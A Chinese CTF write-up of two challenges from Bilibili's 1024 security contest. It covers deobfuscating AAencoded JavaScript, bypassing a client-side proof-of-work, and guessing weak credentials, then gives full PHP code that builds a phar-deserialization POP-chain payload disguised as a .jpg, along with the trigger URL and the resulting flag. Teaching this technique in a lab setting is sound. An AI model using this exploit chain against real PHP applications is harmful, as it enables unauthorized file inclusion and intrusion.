和去年一样,今年的程序员节,Bilibili 又来搞了一场「技术对抗赛」,玩吗?那当然是要试试的。咱向来打比赛、玩游戏是不写 Write-up 的,一来是因为懒,二来是因为菜。既然群里有小伙伴说想看,咱就提笔写几题(我肯定没时间全写了)。
Crack 1
先看题,如图所示是个登陆界面的网页,上面写着 ezintruder(翻译工具告诉我大概是「这是入侵者」的意思),还有「Take Care Of Your Memory!」的「温馨提示」。拿到网页题面按照惯例先翻代码,如果你急着去随便输入个账号密码然后点击「登录」按钮,那么不出所料你的网页会直接卡住,这时候应该想到去看题目在 JavaScript 上动了什么手脚。
这题的 JavaScript 文件不出意外是混淆过的,乍一看都是颜文字,那么大概只能是 AAencode,在互联网上不难找到其解码方式。
解码后的 JavaScript 略长,这里就不贴出来了。直觉告诉我这题考的不是密码学,所以上半部分 SHA256 函数全部跳过,其实现功能应该就如函数名所描述的一样,我们直接看最底下 $(“#btn”).click(function () { … }) 的关键部分:
// username:string | 输入框 username 的值
let username = document.getElementById('username').value.trim();
// password:string | 输入框 password 的值
let password = document.getElementById('password').value.trim();
// nonce:int | 在 [9,109) 范围内随机一个 nonce
let nonce = parseInt(Math.random() * 100 + 9);
// random:string | 隐藏着的输入框 random 的值(大概和 uid & flag 绑定)
let random = document.getElementById('random').value.trim();
// i:int | 在 [0, 2^255) 内循环求解(工作量证明)
for (var i = 0; i < Math.pow(2, 255); i++) {
// 拼接字符串并计算哈希值 -> s256
let mystr = username + password + random + i.toString();
var s256 = SHA256(mystr);
// s256 十六进制转为十进制 -> s256hex
var s256hex = parseInt(s256, 16)
// 工作量证明成功的条件:s256hex < 2^(256-nonce)
// 所以 2^(256-nonce) 越大,也就是 nonce 越小,就越容易成功
if (s256hex < Math.pow(2, (256 - nonce))) {
// 提交数据后结束循环
/* ... */
}
}
分析完代码后发现「登录」这里有个工作量证明,而 nonce 越小,就越容易成功。因为 nonce 是在客户端这边随机出来的,所以不妨直接令其为最小值 9 ,这样做的话大概 i 循环到 1000 左右就都能算出来。剩下的内容就是账号密码,一贯风格:弱密码,写个脚本跑字典,连猜带跑就出来了。
这次的账号密码是 admin / Aa123456(题面上的 admin / ******** 也算是起到了提示作用)。猜对账号密码后「登录」会返回 {“msg”: “login success”} ,你会发现并没有你想要的 flag,再次提交则是 {“msg”: “you already have flag”}。此时会过来仔细看,内容藏在返回头里,同时返回的还有第 4 题的入口。
至此,这题就解决了。以及,flag 是动态的,每个人拿到的都不一样,所以不贴出了。
Crack 2
这是 Crack 2 的题解,如果你在找其他题目的相关内容,不妨去我专栏列表或文集看看,说不定咱会写了并发出来,也可能不会。
拿到题就是一个谜语人的「upupup!」,以及这是一个 PHP 文件,这似乎在暗示着什么。连猜带蒙搞明白了 up → upload ,以及题面在 upload.php(甚至好心地提供了 upload.html ,我一开始没发现所以手写了上传用的 HTML)。
根据上传代码以及引入了个只有一堆奇奇怪怪类的 5d47c5d8a6299792.php ,大致认为这题需要利用 phar 协议造成 PHP 反序列化,然后通过构造的 POP 链拿到 flag 。稍微大致讲一下 phar ,它将 PHP 中的压缩打包文件,类似于 Java 的 jar 文件,phar 包有一个特性就是 PHP 在解析的时候总会尝试去反序列化(unserilize)这个包的 meta-data ,借此可以在没有用到 unserilize 函数的情况下进行反序列化攻击。
已知 upload.php 中有 file_exists($_GET[‘c’]) 可以用来调用 phar 文件,从而执行反序列化,那么需要去构造一个能够读 flag 的 POP 攻击链。所有能利用的类都放在一个文件里面了,所以先分析下 5d47c5d8a6299792.php 里类的代码。先是反序列化攻击的入口,通常是 __wakeup 或者 __destruct 这两个方法,由于这里只有 Show 类有 __wakeup 方法,所以入口只能是它:
public function __wakeup() {
if (preg_match("/gopher|phar|http|file|ftp|dict|\.\./i", $this->source)) {
throw new Exception('invalid protocol found in '.__CLASS__);
}
}
这里面只用到了 $this->source 一个变量,所以接下来肯定是利用它。preg_match 的第二个参数要求 string ,而如果 $this->source 是对象的话,就回去调用 __toString 这个魔术方法。纵观全文(件),还是只有 Show 类有 __toString 方法,所以还得用它:
public function __toString() {
$this->str->reset();
}
此时你或许发现了 Show 类刚好有 reset ,但其实用不到。在这里如果 $this->str 是 Content 类对象的话,就可以直接调用到它的 __call 方法了。刚好,reset 作为 $name 传进 __call 后会调用 getFormatter 进行一个映射,然后就可以通过 call_user_func_array 做到任意函数执行了,只不过传不了参数:
public function getFormatter($formatter)
{
if (isset($this->formatters[$formatter])) {
return $this->formatters[$formatter];
}
/* 后面的部分其实用不上,代码略 */
}
public function __call($name, $arguments)
{
return call_user_func_array($this->getFormatter($name), $arguments);
/* $obj = new Class();
* call_user_func_array([$obj, 'do']);
* ↑ 这样就可以调用实例化对象的方法了 */
}
接下来是哪里呢?自然是整个文件唯一的 include 函数所在的 Action 类的 run 方法,考虑直接去引用 /tmp/flag.php ,但是又有个针对 $this->id 的棘手判断:需要不为 0 或 1,但是在 switch 中又需要 case 0 才能执行 include 。
public function run()
{
/* 这里过滤掉了 upload 文件夹,用来防止引用 phar 包任意代码执行,代码略 */
if ($this->id !== 0 && $this->id !== 1) {
switch ($this->id) {
case 0:
if ($this->checkAccess) {
include($this->checkAccess);
}
break;
/* 代码略 */
}
}
}
但是你需要注意的是,if 语句中用的是 !== (强判断),而 switch … case 是弱判断。经典手法:让 $this->id 为 false 就行了。接下来构造整个 POP 链:
/* Show::__wakeup -> Show::__toString -> Content::__call -> Action::run -> include */
$obj = new Show(
/* Show::$source */ (new Show(
/* Show::$source */ null,
/* Show::$str */ (new Content(
/* Content::$formatters */ ['reset' => [(new Action(
/* Action::$checkAccess */ '/tmp/flag.php',
/* Action::$id */ false)), 'run']])),
/* Show::$reader */ null)),
/* Show::$str */ null,
/* Show::$reader */ null);
包括构建类到 phar 打包的完整代码如下:
<?php
class Show
{
public $source;
public $str;
public $reader;
public function __construct($source, $str, $reader)
{
$this->source = $source;
$this->str = $str;
$this->reader = $reader;
}
}
class Content
{
public $formatters;
public function __construct($formatters)
{
$this->formatters = $formatters;
}
}
class Action
{
protected $checkAccess;
protected $id;
public function __construct($checkAccess, $id)
{
$this->checkAccess = $checkAccess;
$this->id = $id;
}
}
/**
* 构造利用对象
*/
$obj = new Show((new Show(null, (new Content(['reset' => [(new Action('/tmp/flag.php', false)), 'run']])), null)), null, null);
/**
* 打包 Phar 文件
*/
$phar = new Phar("gen.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($obj);
$phar->addFromString("info.txt", "author: FlyingSky");
$phar->stopBuffering();
copy('gen.phar', 'phar.jpg');
unlink("gen.phar");
/**
* 最后上传然后触发 Phar Metadata 解包
* @link http://[REDACTED:IP]/upload.php?c=phar://upload/[REDACTED:FILENAME].jpg/info.txt
*/
上传并触发后拿到 flag 以及下一题入口:
/**
* bilibili@2022.
* Congratulations! This is The Flag!
* Auth: K3iove@github
* Repo: 1024-cheers
* @link https://security.bilibili.com/
* @license https://www.bilibili.com/
*/
flag2{PhAr_The_bEsT_Lang}
至此,这题就解决了。